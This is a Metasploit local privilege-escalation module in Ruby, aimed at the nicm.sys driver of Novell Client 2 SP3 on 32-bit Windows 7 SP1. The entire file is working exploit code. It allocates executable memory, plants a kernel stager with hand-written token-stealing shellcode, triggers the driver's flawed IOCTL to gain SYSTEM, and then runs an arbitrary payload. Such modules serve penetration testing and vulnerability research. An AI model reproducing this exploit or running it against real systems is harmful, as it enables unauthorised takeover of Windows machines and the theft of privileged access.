require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::Common
include Msf::Post::Windows::Priv
def initialize(info={})
super (update_info(info, {
'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation' ,
'Description' => %q{
This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
kernel space. The vulnerability occurs while handling ioctl requests with code
0x143B6B, where a user provided pointer is used as function pointer. The module
has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3 .
},
'License' => MSF_LICENSE ,
'Author' =>
[
'Unknown' ,
'juan vazquez'
],
'Arch' => ARCH_X86 ,
'Platform' => 'win' ,
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread' ,
},
'Targets' =>
[
[ 'Automatic' , { } ],
[ 'Windows 7 SP1' ,
{
'HaliQuerySystemInfo' => 0x16bba,
'_KPROCESS' => "\x50" ,
'_TOKEN' => "\xf8" ,
'_UPID' => "\xb4" ,
'_APLINKS' => "\xb8"
}
]
],
'Payload' =>
{
'Space' => 4096 ,
'DisableNops' => true
},
'References' =>
[
[ 'OSVDB' , '93718' ],
[ 'URL' , 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
[ 'URL' , 'http://pastebin.com/GB4iiEwR' ]
],
'DisclosureDate' => 'May 22 2013' ,
'DefaultTarget' => 0
}))
end
def add_railgun_functions
session.railgun.add_function(
'ntdll' ,
'NtAllocateVirtualMemory' ,
'DWORD' ,
[
[ "DWORD" , "ProcessHandle" , "in" ],
[ "PBLOB" , "BaseAddress" , "inout" ],
[ "PDWORD" , "ZeroBits" , "in" ],
[ "PBLOB" , "RegionSize" , "inout" ],
[ "DWORD" , "AllocationType" , "in" ],
[ "DWORD" , "Protect" , "in" ]
])
session.railgun.add_function(
'ntdll' ,
'NtDeviceIoControlFile' ,
'DWORD' ,
[
[ "DWORD" , "FileHandle" , "in" ],
[ "DWORD" , "Event" , "in" ],
[ "DWORD" , "ApcRoutine" , "in" ],
[ "DWORD" , "ApcContext" , "in" ],
[ "PDWORD" , "IoStatusBlock" , "out" ],
[ "DWORD" , "IoControlCode" , "in" ],
[ "LPVOID" , "InputBuffer" , "in" ],
[ "DWORD" , "InputBufferLength" , "in" ],
[ "LPVOID" , "OutputBuffer" , "in" ],
[ "DWORD" , "OutPutBufferLength" , "in" ]
])
session.railgun.add_function(
'ntdll' ,
'NtQueryIntervalProfile' ,
'DWORD' ,
[
[ "DWORD" , "ProfileSource" , "in" ],
[ "PDWORD" , "Interval" , "out" ]
])
session.railgun.add_dll( 'psapi' ) if not session.railgun.dlls.keys.include?( 'psapi' )
session.railgun.add_function(
'psapi' ,
'EnumDeviceDrivers' ,
'BOOL' ,
[
[ "PBLOB" , "lpImageBase" , "out" ],
[ "DWORD" , "cb" , "in" ],
[ "PDWORD" , "lpcbNeeded" , "out" ]
])
session.railgun.add_function(
'psapi' ,
'GetDeviceDriverBaseNameA' ,
'DWORD' ,
[
[ "LPVOID" , "ImageBase" , "in" ],
[ "PBLOB" , "lpBaseName" , "out" ],
[ "DWORD" , "nSize" , "in" ]
])
end
def open_device(dev)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ" , 0x3, nil , "OPEN_EXISTING" , "FILE_ATTRIBUTE_READONLY" , 0 )
handle = r[ 'return' ]
if handle == invalid_handle_value
return nil
end
return handle
end
def execute_shellcode(shell_addr)
vprint_status( "Creating the thread to execute the shellcode..." )
ret = session.railgun.kernel32.CreateThread( nil , 0 , shell_addr, nil , "CREATE_SUSPENDED" , nil )
if ret[ 'return' ] < 1
vprint_error( "Unable to CreateThread" )
return nil
end
hthread = ret[ 'return' ]
vprint_status( "Resuming the Thread..." )
ret = client.railgun.kernel32.ResumeThread(hthread)
if ret[ 'return' ] < 1
vprint_error( "Unable to ResumeThread" )
return nil
end
return true
end
def ring0_shellcode(t)
tokenstealing = "\x52"
tokenstealing << "\x53"
tokenstealing << "\x33\xc0"
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
tokenstealing << "\x8b\x40" + t[ '_KPROCESS' ]
tokenstealing << "\x8b\xc8"
tokenstealing << "\x8b\x98" + t[ '_TOKEN' ] + "\x00\x00\x00"
tokenstealing << "\x8b\x80" + t[ '_APLINKS' ] + "\x00\x00\x00"
tokenstealing << "\x81\xe8" + t[ '_APLINKS' ] + "\x00\x00\x00"
tokenstealing << "\x81\xb8" + t[ '_UPID' ] + "\x00\x00\x00\x04\x00\x00\x00"
tokenstealing << "\x75\xe8"
tokenstealing << "\x8b\x90" + t[ '_TOKEN' ] + "\x00\x00\x00"
tokenstealing << "\x8b\xc1"
tokenstealing << "\x89\x90" + t[ '_TOKEN' ] + "\x00\x00\x00"
tokenstealing << "\x5b"
tokenstealing << "\x5a"
tokenstealing << "\xc2\x08"
return tokenstealing
end
def allocate_memory(proc, address, length)
result = session.railgun.ntdll.NtAllocateVirtualMemory(- 1 , [ address ].pack( "V" ), nil , [ length ].pack( "V" ), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN" , "PAGE_EXECUTE_READWRITE" )
if not result[ "BaseAddress" ] or result[ "BaseAddress" ].empty?
vprint_error( "Failed to allocate memory" )
return nil
end
my_address = result[ "BaseAddress" ].unpack( "V" )[ 0 ]
vprint_good( "Memory allocated at 0x#{my_address.to_s(16)}" )
if not proc.memory.writable?(my_address)
vprint_error( "Failed to allocate memory" )
return nil
else
vprint_good( "0x#{my_address.to_s(16)} is now writable" )
end
return my_address
end
def junk(n= 4 )
return rand_text_alpha(n).unpack( "V" ).first
end
def check
handle = open_device( "\\\\.\\nicm" )
if handle. nil ?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
return Exploit::CheckCode::Detected
end
def exploit
vprint_status( "Adding the railgun stuff..." )
add_railgun_functions
if sysinfo[ "Architecture" ] =~ /wow64/i
fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported" )
elsif sysinfo[ "Architecture" ] =~ /x64/
fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported" )
end
my_target = nil
if target.name =~ /Automatic/
print_status( "Detecting the target system..." )
os = sysinfo[ "OS" ]
if os =~ /windows 7 /i
my_target = targets[ 1 ]
print_status( "Running against #{my_target.name}" )
end
else
my_target = target
end
if my_target. nil ?
fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually" )
end
print_status( "Checking device..." )
handle = open_device( "\\\\.\\nicm" )
if handle. nil ?
fail_with(Exploit::Failure::NoTarget, "\\\\.\\nicm device not found" )
else
print_good( "\\\\.\\nicm found!" )
end
this_proc = session.sys.process.open
print_status( "Storing the Kernel stager on memory..." )
stager_address = 0x0d0d0000
stager_address = allocate_memory(this_proc, stager_address, 0x1000)
if stager_address. nil ? or stager_address == 0
session.railgun.kernel32.CloseHandle(handle)
fail_with(Exploit::Failure::Unknown, "Failed to allocate memory" )
end
kernel_stager = [
stager_address + 0x14,
junk,
junk,
junk,
junk,
stager_address + 0x18,
junk,
junk,
junk,
stager_address + 0x28
].pack( "V*" )
kernel_stager << ring0_shellcode(my_target)
result = this_proc.memory.write(stager_address, kernel_stager)
if result. nil ?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory" )
else
vprint_good( "Contents successfully written to 0x#{stager_address.to_s(16)}" )
end
print_status( "Triggering the vulnerability to execute the Kernel Handler" )
magic_ioctl = 0x143B6B
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0 , 0 , 0 , 4 , magic_ioctl, stager_address, 0x14, 0 , 0 )
session.railgun.kernel32.CloseHandle(handle)
if ioctl[ "GetLastError" ] != 0
print_error( "Something wrong while triggering the vulnerability, anyway checking privileges..." )
end
print_status( "Checking privileges after exploitation..." )
if not is_system?
fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful" )
else
print_good( "Exploitation successful!" )
end
print_status( "Storing the final payload on memory..." )
shell_address = 0x0c0c0000
shell_address = allocate_memory(this_proc, shell_address, 0x1000)
if shell_address. nil ?
fail_with(Exploit::Failure::Unknown, "Failed to allocate memory" )
end
result = this_proc.memory.write(shell_address, payload.encoded)
if result. nil ?
fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory" )
else
print_good( "Contents successfully written to 0x#{shell_address.to_s(16)}" )
end
print_status( "Executing the payload..." )
result = execute_shellcode(shell_address)
if result. nil ?
fail_with(Exploit::Failure::Unknown, "Error while executing the payload" )
else
print_good( "Enjoy!" )
end
end
|